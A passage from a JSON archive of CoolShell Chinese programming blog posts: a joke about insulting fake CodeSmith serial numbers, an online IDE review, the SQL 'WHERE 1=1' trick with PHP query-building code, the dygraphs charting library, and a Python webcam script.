height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1695.html\">别的程序员是怎么读你的简历的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-9 给我一个序列号.html",
    "content": "<html><body><p>下面这个链接是CodeSmith官网网站论坛上的一个贴子。<a href=\"http://community.codesmithtools.com/forums/p/10000/37140.aspx\">http://community.codesmithtools.com/forums/p/10000/37140.aspx</a>。在这个贴子里，某位大哥问CodeSmith要一个序列号，一个叫Blake Niemyjski的人，可能是CodeSmith这家公司的客服人说回答到，如果要序列号，需要找他们的销售人员。</p>\n<p>而这位老哥却说，“我要的是一个被破解的序列号，我手上有很多CodeSmith 5.0版的序列号，都可以使用，而你们把软件升级到了5.1，那些序列号都无法使用了”。客服人员无奈下，只得给出了下面的序列号：</p>\n<p style=\"text-align: center;\"><strong>CS50P-0NLY4-1D10T-W0ULD-TRYT0-45KU5-TH15Q</strong></p>\n<p>当然，这个序列号并不行，而老哥没有发现这序列号中的端倪，继续问，后面，很多“热心网友”们都来帮忙，给了一些如下的序列号：</p>\n<p style=\"text-align: center;\">BL4K3-WH47K-1ND0F-700LI-57H1S-1DI07-4NYWY<br/>\nW3LLH-4S7H3-P3NNY-DR0PP-3D4UY-37U45-5WIP3<br/>\nUKINT-RYTH1-51FUH-AVAVR-Y5MAL-P3N1S<br/>\n1FUH4-VN0P3-N1STH-1S1S8-3TT3R-JU57K-1DD3N</p>\n<p>呵呵，你看出这些序列号其中的含义了吗？呵呵。下面是翻译：</p>\n<p><span id=\"more-1693\"></span></p>\n<p>CS50P-0NLY4-1D10T-W0ULD-TRYT0-45KU5-TH15Q<br/>\nCS5.0 Pro, Only an idiot would try to ask us this q （q的意思是question）</p>\n<p>BL4K3-WH47K-1ND0F-700LI-57H1S-1DI07-4NYWY<br/>\nBlake, What kind of tool is this idiot anyway? （Blake就是那个客服）</p>\n<p>W3LLH-4S7H3-P3NNY-DR0PP-3D4UY-37U45-5WIP3<br/>\nWell has the penny dropped for you yet? U asswipe.</p>\n<p>UKINT-RYTH1-51FUH-AVAVR-Y5MAL-P3N1S<br/>\nYou can try this if you have a very small penis.</p>\n<p>1FUH4-VN0P3-N1STH-1S1S8-3TT3R-JU57K-1DD3N<br/>\nIf you have no penis this is better just kidding.</p>\n<p>上面的这些英文我就不翻译了，大家就算是看个乐吧。关于这样的恶搞，还有很多，大家可以看看《<a href=\"https://coolshell.cn/articles/1391.html\" title=\"编程真难啊 - 3,812 次浏览\">编程真难啊</a>》，还有《<a href=\"https://coolshell.cn/articles/1619.html\" rel=\"bookmark\">Windows 7 的新粉丝 Linus Torvalds</a>》<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8489.html\"><img alt=\"Go 语言简介（下）— 特性\" height=\"150\" src=\"../wp-content/uploads/2012/11/google-go-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8489.html\">Go 语言简介（下）— 特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/394.html\"><img alt=\"十大史上最恶心的操作系统\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/394.html\">十大史上最恶心的操作系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5164.html\"><img alt=\"CSS图形\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18140.html\"><img alt=\"关于Facebook 的 React 专利许可证\" height=\"150\" src=\"../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1579.html\"><img alt=\"一张关于操作系统的图\" height=\"150\" src=\"../wp-content/uploads/2009/10/operating-systems-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1693.html\">给我一个序列号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-1 Coderun.com 在线开发IDE.html",
    "content": "<html><body><p>相信大家都还记得我以前向大家推荐的《<a href=\"https://coolshell.cn/articles/1310.html\" rel=\"bookmark\">在线代码编译服务Codepad.org</a>》吧。这回的这个更猛——在线的代码开发的IDE，可以编译，执行，调试。不过，主要针对Web方面的，主要是C#，ASP.NET，Javascript(JQuery)和PHP，很强大哦。那句话是怎么说来的——“如果一个软件可以用Javascript来写，那么这个软件的最终版本会是Javascript”。这个在线的IDE是：</p>\n<p style=\"text-align: center;\"><a href=\"http://www.coderun.com/ide/\" target=\"_blank\"><strong>http://www.coderun.com/ide/</strong></a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg\"><img alt=\"Coderun.com 在线开发IDE（点击看大图）\" class=\"alignnone size-medium wp-image-1884\" height=\"225\" src=\"../wp-content/uploads/2009/11/coderun.ide_-300x225.jpg\" title=\"Coderun.com 在线开发IDE（点击看大图）\" width=\"300\"/></a></p>\n<p style=\"TEXT-ALIGN: left;\">有朋友在留言中说，这个项目可能不实用，没什么意思，而我想说，Google的Chrome OS项目可能非常喜欢这个东西。顺便说一下，这个Online的IDE是开源的，源码在这里：<a href=\"http://coderun.codeplex.com/\">http://coderun.codeplex.com/</a>。 </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11094.html\"><img alt=\"可视化编程\" height=\"150\" src=\"../wp-content/uploads/2014/02/example_visual_language_sketchpad_01-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11094.html\">可视化编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1883.html\">Coderun.com 在线开发IDE</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-1 SQL的Where语句.html",
    "content": "<html><body><p>某DBA在查看自己的数库日志的时候，看到了数据库服务器上出现了很多很怪异的SQL的Where条件语句，是下面这个样子：（所有的where语句前都有了一个叫“1=1”的子条件）呵呵。</p>\n<p style=\"text-align: center;\"><img alt=\"SQL Where Clause\" class=\"alignnone size-full wp-image-1890\" height=\"631\" src=\"../wp-content/uploads/2009/12/sql.where_.clause.jpg\" title=\"SQL Where Clause\" width=\"460\"/></p>\n<p>要理解这个事情的原因其实并不难。只要你是一个编写数据库的程序员，你就会知道——动态生成where后的条件的“麻烦”，那就是条件的“分隔”-and或or。下面听我慢慢说来。</p>\n<p><span id=\"more-1889\"></span></p>\n<p>我们知道，大多数的查询表单都需要用户输出一堆查询条件，然后我们的程序在后台要把这些子条件用and组合起来。于是，把and加在各个条件的中间就成为了一件“难事”，因为你的程序需要判断：</p>\n<ul>\n<li>如果没有条件的话，则不需要where</li>\n<li>如果只有一个条件的话，不需要and.</li>\n<li>如果有多个条件的话，\n<ul>\n<li>如果and是持续加在每个条件后面的话，那么就要判断是否是最后一个条件，因为最后一个不能加and.</li>\n<li>同样，如果and是要加在每个条件前面的话，你就需要判断是否是第一个，如果是，那就不加。</li>\n</ul>\n</li>\n</ul>\n<p>真是TMD太烦了，所以，编程“大拿”引入了“1=1”条件语句。于是，编程的难度大幅度下降，你可以用单一的方式来处理这若干的查询子条件了。而1=1应该会被数据库引擎优化时给去掉了。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;pre&gt;&lt;code&gt;$query = \"SELECT name FROM table WHERE 1=1 \";\n\nforeach($clauses as $key =&gt; $value){\n    $query .= \" AND \".escape($key).\"=\".escape($value).\" \";\n}\n&lt;/code&gt;&lt;/pre&gt;\n</pre>\n<p>呵呵，<strong>DBA怎么能够理解我们疯狂程序员的用心良苦啊</strong>。</p>\n<p>另外，在这里说一下，这样的做法看似很愚蠢，但很有效，在PHP的世界中，也有人使用下面这样的做法——使用了PHP的implode函数。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;pre&gt;&lt;code&gt;/**\n * @param string $base base of query, e.g. UPDATE table SET\n * @param string $logic logic for concatenating $assoc, e.g. AND\n * @param array $assoc associative array of `field`=&gt;'value' pairs to concatenate and append to $base\n * @param string $suffix additional clauses, e.g. LIMIT 0,30\n * @return string\n */\nfunction construct_sql($base, $logic, $clauses, $suffix='')\n{\n    // initialise array to avoid warnings/notices on some PHP installations\n    $queries = array();\n\n    // create array of strings to be glued together by logic\n    foreach($clauses as $key =&gt; $value)\n        $queries[] = \"`\" . escape($key) . \"`='\" . escape($value) . \"'\";\n\n    // add a space in case $base doesn't have a space at the end and glue clauses together\n    $query .= \" \" . implode(\" $logic \",$queries) . \" \" . $suffix . \";\";\n\n    return $query;\n}\n\n/**\n * @param string $str string to escape for intended use\n * @return string\n */\nfunction escape($str)\n{\n    return mysql_real_escape_string($str);\n}\n&lt;/code&gt;&lt;/pre&gt;\n</pre>\n<p>于是，我们可以这样使用：（<code>为什么我们要在update语句后加上“Limit 1”呢？这个关系到性能问题，关于这方面的话题，你可以查看本站的《<a href=\"https://coolshell.cn/articles/1846.html\" title=\"MySQL性能优化的最佳20+条经验\">MySQL性能优化的最佳20+条经验</a>》</code>）</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;pre&gt;&lt;code&gt;$updates = array(\n    'field1'=&gt;'val1'\n    'field2'=&gt;'val2'\n);\n$wheres = array(\n    'field1'=&gt;'cond1',\n    'field2'=&gt;'cond2'\n);\necho construct_sql(construct_sql(\"UPDATE table SET\", \", \", $updates) . \" WHERE \", \" AND \", $wheres),\"LIMIT 1\");\n&lt;/code&gt;&lt;/pre&gt;\n&lt;pre&gt;&lt;/pre&gt;\n</pre>\n<p><code>下面是输出结果：</code></p>\n<p><code class=\"EnlighterJSRAW\">UPDATE table SET `field1`='val1', `field2`='val2' WHERE `field1`='cond1' AND `field2`='cond2' LIMIT 1;</code></p>\n<p> </p>\n<p><code>（全文完）</code><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1846.html\"><img alt=\"MySQL性能优化的最佳20+条经验\" height=\"150\" src=\"../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-11 Javascript 曲线表作图库.html",
    "content": "<html><body><p><a href=\"http://www.danvk.org/dygraphs/\" target=\"_blank\">dygraphs</a> 是一个开源的Javascript库，它可以产生一个可交互式的，可缩放的的曲线表。其可以用来显示大密度的数据集（比如股票，气温，等等），并且可以让用户来浏览和解释这个曲线图。在它的主页（<a href=\"http://www.danvk.org/dygraphs/\">http://www.danvk.org/dygraphs/</a>），你可以看到一些示例和用法。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/dygraphs.jpg\"><img alt=\"dygraphs Javascript 曲线图库\" class=\"alignnone size-full wp-image-1925\" height=\"305\" src=\"../wp-content/uploads/2009/12/dygraphs.jpg\" title=\"dygraphs Javascript 曲线图库\" width=\"568\"/></a></p>\n<p>要使用这个库，很简单，只需要包括<code><a href=\"http://github.com/danvk/dygraphs/downloads/\">dygraph-combined.js</a></code>文件，其文件尺寸很经济，也就45K。</p>\n<pre class=\"EnlighterJSRAW\">&lt;script type=\"text/javascript\"\n  src=\"dygraph-combined.js\"&gt;&lt;/script&gt;</pre>\n<p>下面两个示例，你可以把数据写在javascript中，也可以设置一个csv文件。</p>\n<p><span id=\"more-1924\"></span></p>\n<p><strong>示例一，你可以在代码中指定数据</strong></p>\n<pre class=\"EnlighterJSRAW\">\n&lt;div id=\"graphdiv\"&gt;&lt;/div&gt;\n&lt;script type=\"text/javascript\"&gt;\n  g = new Dygraph(\n\n    // containing div\n    document.getElementById(\"graphdiv\"),\n\n    // CSV or path to a CSV file.\n    \"Date,Temperature\\n\" +\n    \"2008-05-07,75\\n\" +\n    \"2008-05-08,70\\n\" +\n    \"2008-05-09,80\\n\"\n\n  );\n&lt;/script&gt;\n</pre>\n<p><strong>示例二、你可以引入外部的CSV文件</strong>。(<code><a href=\"https://coolshell.cn/wp-admin/temperatures.csv\">temperatures.csv</a>)</code></p>\n<pre class=\"EnlighterJSRAW\">&lt;div id=\"graphdiv2\"\n  style=\"width:500px; height:300px;\"&gt;&lt;/div&gt;\n&lt;script type=\"text/javascript\"&gt;\n  g2 = new Dygraph(\n    document.getElementById(\"graphdiv2\"),\n    \"temperatures.csv\", // path to CSV file\n    {}          // options\n  );\n&lt;/script&gt;</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1924.html\">Javascript 曲线表作图库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-11 如何使用Python操作摄像头.html",
    "content": "<html><body><p>用过USB摄像头的都知道，你需要使用鼠标来操作它，比如截个图，录个像什么的，要点N次鼠标，对于我们那些不喜欢多次点击鼠标的人来说，这是一件很boring的事情，所以，本文将教你如何使用Python来操作摄像头。</p>\n<p>这里，我们需要三个Python库： <a href=\"http://videocapture.sourceforge.net/\">VideoCapture</a>， <a href=\"http://www.pythonware.com/products/pil/\">PIL</a>  和 <a href=\"http://www.pygame.org/\">pygame</a>。使用这三个库你可以非常容易的编写一个摄像头程序。之所以使用pygame，其目的就是因为这个库可以处理视频帧（fps）。下面是代码：</p>\n<pre class=\"EnlighterJSRAW\">from VideoCapture import Device\nimport ImageDraw, sys, pygame, time\nfrom pygame.locals import *\nfrom PIL import ImageEnhance\n\nres = (640,480)\npygame.init()\ncam = Device()\ncam.setResolution(res[0],res[1])\nscreen = pygame.display.set_mode((640,480))\npygame.display.set_caption('Webcam')\npygame.font.init()\nfont = pygame.font.SysFont(\"Courier\",11)\n\ndef disp(phrase,loc):\n    s = font.render(phrase, True, (200,200,200))\n    sh = font.render(phrase, True, (50,50,50))\n    screen.blit(sh, (loc[0]+1,loc[1]+1))\n    screen.blit(s, loc)\n\nbrightness = 1.0\ncontrast = 1.0\nshots = 0\n\nwhile 1:\n    camshot = ImageEnhance.Brightness(cam.getImage()).enhance(brightness)\n    camshot = ImageEnhance.Contrast(camshot).enhance(contrast)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT: sys.exit()\n    keyinput = pygame.key.get_pressed()\n    if keyinput[K_1]: brightness -= .1\n    if keyinput[K_2]: brightness += .1\n    if keyinput[K_3]: contrast -= .1\n    if keyinput[K_4]: contrast += .1\n    if keyinput[K_q]: cam.displayCapturePinProperties()\n    if keyinput[K_w]: cam.displayCaptureFilterProperties()\n    if keyinput[K_s]:\n        filename = str(time.time()) + \".jpg\"\n        cam.saveSnapshot(filename, quality=80, timestamp=0)\n        shots += 1\n    camshot = pygame.image.frombuffer(camshot.tostring(), res, \"RGB\")\n    screen.blit(camshot, (0,0))\n    disp(\"S:\" + str(shots), (10,4))\n    disp(\"B:\" + str(brightness), (10,16))\n    disp(\"C:\" + str(contrast), (10,28))\n    pygame.display.flip()</pre>\n<p>这段代码中的一些要点的解释如下：</p>\n<p><span id=\"more-1928\"></span></p>\n<ul>\n<li>第15行的那个函数是在视频上显示些信息。这个例子中，显示的是抓图的数量以及当前的亮度和对比度。这个函数先显示深灰色的文本，然后偏移几个像素，再显示浅灰色的，这样可以有阴影的效果。</li>\n<li>第26行是在调整亮度和对比度。30-33行是在设置数字键1-4用于调整亮度和对比度。</li>\n<li>34 和35行是在设置 ‘q’ 和 ‘w’ 来显示摄像头的对话框。在那里你可以调整分辨率和暴光度等等。</li>\n<li>36行及以下的代码，是在存一个抓图文件。文件名中使用了当前时间。.</li>\n</ul>\n<p>希望这个小程序能给你开启一个如何写摄像头的程序。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" 